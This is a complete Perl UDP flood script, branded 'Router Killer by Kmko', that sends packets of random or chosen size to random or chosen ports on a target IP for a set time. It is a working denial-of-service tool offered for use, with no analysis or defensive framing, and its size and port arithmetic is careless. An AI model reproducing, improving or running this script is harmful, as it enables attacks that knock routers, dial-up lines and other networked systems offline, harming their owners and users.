#!/usr/bin/perl use Socket; use strict; if ($#ARGV != 3) { print "perl new 69.69.69.69 0 65500 0\n"; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "$ip is not a dialup or router ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(DialupAndRouterKiller1337, PF_INET, SOCK_DGRAM, 17); print "\n\033[1;m[\033[31mRouter Killer by Kmko\033[1;m]\n\033[1;31mSetting up sockets.. "; sleep 1; print "\033[1;m[\033[1;33mDONE\033[1;m]\033[1;31m\nConnecting to the host.. \033[1;m[\033[1;33mCONNECTED\033[1;m]\n\033[1;31mHitting \033[1;33m$ip..\033[1;m"; sleep 1; print "\n\033[1;31mHitting \033[1;33m$ip..\033[1;m"; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1500-65500)+65500) ; $pport = $port ? $port : int(rand(65500))+65500; send(DialupAndRouterKiller1337, pack("a$psize","DialupAndRouterKiller1337"), 0, pack_sockaddr_in($pport, $iaddr));}